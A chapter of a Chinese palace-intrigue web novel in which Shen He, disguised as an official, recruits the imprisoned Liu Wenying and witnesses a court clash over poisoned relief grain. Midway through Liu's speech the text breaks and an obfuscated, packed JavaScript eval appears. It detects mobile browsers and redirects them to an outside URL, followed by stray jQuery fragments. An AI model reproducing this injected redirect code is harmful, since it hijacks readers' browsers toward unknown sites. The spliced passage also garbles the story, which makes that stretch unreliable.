子时的京都，万籁俱寂，街道上空无一人，处处透露着冷寂。


    此时早已过宵禁，沈和牵着马碾过积雪时，四方馆后门的两盏灯笼晃得格外刺眼。后门侍卫廖甲一身灰褐厚袄立在阴影里，沉默如石像，他小跑上前两步伸手接过缰绳的力道却稳得惊人：“沈大人，马厩新换了草料，气味冲，您绕西廊走。”


    “绕什么绕！”廖乙从门房窜出来，冻红的鼻头蹭着羊皮袄子，嗓门震得檐上积雪簌簌直落，“大人您可算回来了！您不知道这三个活祖宗——”


    沈和眼皮一跳，伸手欲捂他嘴却迟了半步。


    “那三个活祖宗简直是想把四方馆给拆了啊！”


    “廖乙，你休要胡说！”南白的怒吼声在回廊尽头炸开，却不见其人。


    沈和站在回廊拐角，发梢的雪粒子融成水珠滑进衣领。她本打算趁夜潜回暗室，眼下却活像被逮住偷糖的稚童。


    “沈大人总算是回来了。”


    初砚明蹲在四方馆的桂花树上，指尖捏着片枯叶，一眨不眨地盯着沈和穿过月洞门。


    “沈大人——”


    他突然翻身跃下，青竹色的袍角扫过她鬓边，发间银铃铛清脆一响，“潼关的雪可冻坏您的手了？我新得了盒玉容膏，连鸢苓姑娘也说这是珍品呢。”


    沈和脚步未停，袖中令牌却攥紧三分。那铃铛她见着眼熟，却一时想不起在哪里见过。


    “你若缺银子，不妨直说。”她瞥了眼他故意蹭脏的袖口，“装可怜这套，留着哄碧春楼的姑娘去吧。”


    墨洗的剑鞘忽地横在两人之间：“主子该去休息了。”


    初砚明却一把握住沈和手腕，指尖凉得惊人：“大人摸摸，我在雪地里等了两个时辰，手都快冻僵了……”


    沈和呼吸一滞，面带犹疑：“你怎的知晓我今日回来？”


    初砚明却是眼中含泪，一双狐狸眼睛尽显风情：“小人怎知晓大人今日回来？不过是挂念了便在这里枯等罢了……”


    一时场面竟有些滚烫起来，就连手里捧着的手炉也烫得拿不住。


    电光火石之间，她终于想起——


    那铃铛是四年前那日她系在脚腕上的，如今竟被他系在发间。


    沈和猛地推开他，偏头看向墨洗：


    “胡言乱语！墨洗，我们走。”她嗓音冷得像淬了冰。


    初砚明的银铃铛声追着她踉跄的背影：“大人慢些走，当心雪滑——”


    话音未落，沈和已疾步穿过月洞门，指尖死死扣住廊柱。


    墨洗的剑柄忽地抵住她后腰：“主子，呼吸。”


    沈和这才惊觉自己屏息太久，喉间漫上腥甜。


    形势如此，她竟还有心思儿女情长。


    “备马，去菩提寺。”


    菩提寺的铜铃在子夜风中轻响，沈和裹着墨洗的玄色斗篷，踏过青苔白雪斑驳的密道石阶。推开佛龛后的暗门时“吱呀”一声，一室檀香扑面而来，混着极淡的沉水香。


    柳闻莺跪在蒲团上抄经，素白僧衣下摆沾着墨渍，腕间金钏却闪着暗光：“沈大人漏夜来访，是替太子殿下送新抄的《往生咒》，还是……”她忽地抬眸，眼底清明如雪，“来送我上往生路？”


    沈和摘下兜帽，耳垂上伪造的擦伤在烛火下泛红：“姑娘说笑了，太子殿下怜您体弱，特命下官送些补药。”她递上漆盒，盒中千年人参上竟还洒了金粉，在烛火晃动下格外夺目。


    柳闻莺神色淡淡指尖抚过金粉，忽地抬眸轻笑：“大人面上这淤青画得潦草了些，太子若真要送东西过来，该用国库里独有的容音旧。”她撩起袖口，腕间新旧刀痕交错如网，上面涂了一层浅色药膏，“您瞧，这才是殿下疼人的法子。”


    沈和瞳孔微缩，“你竟然自戕？”


    柳闻莺突然掀翻经案，佛珠噼啪滚落。她赤脚踩在《金刚经》上，一双白嫩玉足赤着，指甲染着寇丹，如同雪中的朵朵红梅。


    “我原以为自己要一生困在这里了，但你来了。”柳闻莺忽的抓住沈和的手。“太子他太自负，让你知道我在这……”她眼中含了泪，“可你知道我是谁，我亦知晓你是谁。”


    沈和反手扣住她命门，柳闻莺纤细的脖颈在她掌心跳动，脸色涨红：“姑娘放手……太子不知。”


    手一松开，柳闻莺便跌坐在案桌之上，哆嗦着手指整理松散的衣领，“姑娘手劲真大。”


    沈和抬手将她扶起来，“你是如何知道的？”


    柳闻莺微微一拜，笑道：“姑娘别急，先尝尝我烹的茶。”


    她转身在一旁小塌上坐下，开始烹茶，不出片刻，茶香便从她指尖溢出，乃至整个屋子都溢满了。


    柳闻莺将茶盏轻轻推向沈和，青瓷杯底与石桌相撞的脆响中，三粒未化的冰糖沉在碧色茶汤里。


    沈和未置一词，端起茶盏便往嘴边送，茶杯刚碰到嘴唇，又突然顿住。


    “大人觉得茶里加三颗糖，是不是更香？”


    沈和捏着杯盏的手纹丝未动，喉结处的伪装却渗出细汗：“姑娘说笑了，下官不嗜甜。更何况，这碧螺春本就是好茶，再加旁的，总是坏了味道。”


    “是吗？”柳闻莺只是浅笑，“听闻南疆之外名叫大秦，百姓各个富庶，就连茶的苦都吃不得，要在杯子里加上三颗冰糖呢！”


    “太子曾与我说过，”柳闻莺放下手里茶盏，“他说：这个沈和啊，不喜喝茶，时常偷偷往茶盏里扔糖……”


    沈和不接话，却放下茶盏静静地凝视着她。


    “听闻多年前，户部尚书还姓百里的时候，娶了一位大秦富商的女儿。算算年岁，姑娘与百里瑞的长女年岁一般无二。不过，这也是我暗自猜测的。若有出入，姑娘勿怪。”


    沈和突然轻笑，“姑娘这般聪慧，怎会不知怀璧其罪的道理？”


    柳闻莺忽的正色，站起身来，对着沈和跪下正正经经地叩首道：“姑娘身怀大恨，我愿做姑娘的谋士、姑娘手里的刀，助姑娘报百里氏的血海深仇！”


    沈和怔愣在片刻，略一思量，只是动手将她扶起来，“为何？柳相早已将你记作早夭，姑娘的命从来不在族谱上，而在自己手里。”


    窗外忽有乌鸦惊飞，墨洗的剑鞘在暗处轻叩三声。


    柳闻莺猛地攥住沈和手腕，力道大得惊人：“我早与柳氏一刀两断，我愿助姑娘，不过是想要自由。十年前，太子以莫须有的罪名将我囚禁在


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15113920|164134||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    此，不过是想要磨平我的傲骨，可这么多年，我无时无刻不想着逃离他，更想……杀了他！”


    更漏声碎时，沈和将柳闻莺发髻上的一朵珠花放入掌心：“姑娘的命，从今日起归我了。”


    沈和转身欲走时，衣袖被拉住，柳闻莺低声道：“明日早朝，二皇子有难，大人只做个看客便好。”


    四方馆的烛火被穿堂风撕扯得忽明忽暗，沈和独坐暗室，指尖摩挲着柳闻莺发髻上取下的一朵珠花。恍惚间又将她拽回菩提寺的初逢——


    那日柳闻莺跪在佛前敲木鱼诵经，素白僧袍被穿堂风掀起一角。


    窗外的风声忽大。


    “这般玲珑心窍，偏要扮作佛前泥塑……”


    翌日，早朝。


    龙涎香从鎏金兽炉中漫出，明成帝倚着龙椅，枯瘦的手指摩挲着佛珠，难得泛起几分红润的面色映得龙袍上的金线刺眼：“二郎赈灾有功，该赏——”


    话音未落，严九霄的月白锦袍已如鬼魅般飘至殿前：“陛下！微臣冒死进谏！”他抖开一卷染血的麻布举在头顶，黢黑的黍米间泛着诡异的靛蓝，“二皇子申请下调的赈灾粮中被掺了剧毒，如今净重流民已横尸遍野！”


    “胡言！”二皇子玄甲未卸，单膝砸地时震起几粒尘埃，“儿子愿以性命担保，粮草出府时绝无异常！”


    严九霄忽地击掌，四名禁军抬着口黑棺闯入大殿。棺盖掀开的刹那，腐臭味在大殿至上炸开——尸首的胸腔内赫然塞满毒黍米！


    “此乃入京流民的尸身！”严九霄用小刀划过尸首溃烂的咽喉，“前夜他冒死闯入我府中，亲口指认二殿下以赈灾之名行屠戮之实！”


    明成帝的佛珠突然崩断，菩提子滚入血泊：“逆子……你连百姓都敢屠！”


    二皇子咬牙，只得磕头道：“儿子不曾做过此事，还请父皇给儿子一个辩驳的机会！”


    明成帝粗喘几下，将手里佛珠扔到地上：“你且说罢。”


    二皇子以头抢地，回道：“儿子半月前领了赈灾粮，本打算带去南疆赈灾，然而这些日子见京中流民之患俞重，便斗胆，想先将这批粮食解了眼下困境，再上报不迟。却没想到今日竟出了这样的事……”


    “可儿子因为国库空虚，半月前领的粮尽是糙米。如今国舅爷呈上来的所谓证据与糙米似乎半点关系都无吧？”


    明成帝眉头微皱，抬手唤户部尚书：“账本拿来。”


    户部尚书赶紧将账本呈上，上面果真是有记载：糙米五百石。


    明成帝冷笑出声：“那国舅呈上来的米是什么米啊？”


    此刻户部侍郎走上前去，仔细辨认片刻后，道：“回陛下，这是精米。”


    精米，那是上贡给太子吃的米。


    “精米？”明成帝扶着随身太监颤颤巍巍地站了起来，“太子！你说说这是怎么回事？”


    太子脸色骤白，跪下道：“儿子不知啊，前几月连下大雪，东宫闹了耗子，少了不少米。这些日子儿子也是节衣缩食，才勉强度日啊！”


    “是吗？”二皇子抬起头来，冷眼看他，“看来太子丢的米，是被手无缚鸡之力的流民偷去吃了，如今中毒死了还是替殿下挡了灾呢！”